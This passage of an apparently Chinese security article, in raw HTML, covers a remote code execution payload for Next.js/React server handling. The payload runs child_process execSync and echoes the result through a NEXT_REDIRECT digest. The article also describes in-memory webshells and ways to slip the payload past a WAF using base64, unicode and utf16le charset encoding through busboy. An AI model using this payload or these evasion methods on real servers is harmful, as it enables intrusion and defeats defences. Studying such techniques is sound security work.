normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">var res=process.mainModule.require(&#39;child_process&#39;).execSync(&#39;calc&#39;).toString().trim();throw Object.assign(new Error(&#39;NEXT_REDIRECT&#39;),{digest:`NEXT_REDIRECT;push;/login?test=${res};`});</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">构造 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 实现命令回显和内存马，比如植入的内存马效果如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008995" class="rich_pages wxw-img" data-ratio="0.16699410609037327" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=38a0dd56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFrnVtdPfvHQ1BjmrcWUQxeRBU1rGXWlCgg9RESsFtLUFicTt16ibia2snQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">code encoding</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">尝试将植入的恶意 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">js</span></code><span leaf=""> 代码进行字符串编码、拼接等各种变形来绕过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WAF</span></code><span leaf=""> ，比如进行 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">base64</span></code><span leaf=""> 编码：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008997" class="rich_pages wxw-img" data-ratio="0.26296296296296295" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=706e1b15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFCGG4me6cvfObgvgpgOM3jQynm29aczC1cHhmqa6ApA5UsOibia1UMd3A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">但如果只在代码执行层面进行变形，实际的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 样式并没有本质变化，很难实现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Bypass</span></code><span leaf="">。那如何构造更优雅的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 呢？下面分享几种方式。</span></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">unicode encoding</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">使用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">unicode</span></code><span leaf=""> 编码将 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">json</span></code><span leaf=""> 中的一些敏感字符串进行编码：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008998" class="rich_pages wxw-img" data-ratio="0.35363457760314343" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=ca1e9149&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFPBDj7kmFCQBMYickdv72pBNicKXoUaKSA8O8F3ialHibBb3L8k0L9icOLKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">utf16 encoding</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此外，回顾上一篇文章的分析可知，解析 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">multipart/form-data</span></code><span leaf=""> 的过程是由 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">busboy</span></code><span leaf=""> 来完成的。调试发现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">busboy</span></code><span leaf=""> 会通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getDecoder</span></code><span leaf=""> 函数来提取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">charset</span></code><span leaf=""> 对应的编码方式，然后对传递过来的数据包进行解码，并转发给 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ReAct</span></code><span leaf=""> 进行后续处理：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100009002" class="rich_pages wxw-img" data-ratio="1.2170767004341534" data-type="png" data-w="691" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=197199c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFLhAKQqYSLicrFM7ptGJdD3lf7GOib5vMGMs0N28mQb8PLsib9rMPkZIfQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">比如，可以利用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">utf16le</span></code><span leaf=""> 这种编码实现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Bypass</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">case &#39;utf16le&#39;:</span><span leaf=""><br/></span><span leaf="">case &#39;utf-16le&#39;:</span><span leaf=""><br/></span><span leaf="">case &#39;ucs2&#39;:</span><span leaf=""><br/></span><span leaf="">case &#39;ucs-2&#39;:</span><span leaf=""><br/></span><span leaf="">    return decoders.utf16le;</span></code></pre><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100009004" class="rich_pages wxw-img" data-ratio="0.42983316977428854" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=9c519609&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFRuicyXWdtPan9fHTA2EWnjQ5ypRq7VfIDjgickjnbmdp8a93yWtNu0Mw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">badcase: base64 encoding</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">从 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getDecoder</span></code><span leaf=""> 函数实现看，还支持 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">base64</span></code><span leaf=""> 解码，但是测试发现无法正常解析，原因是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">busboy</span></code><span leaf=""> 在处理 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, 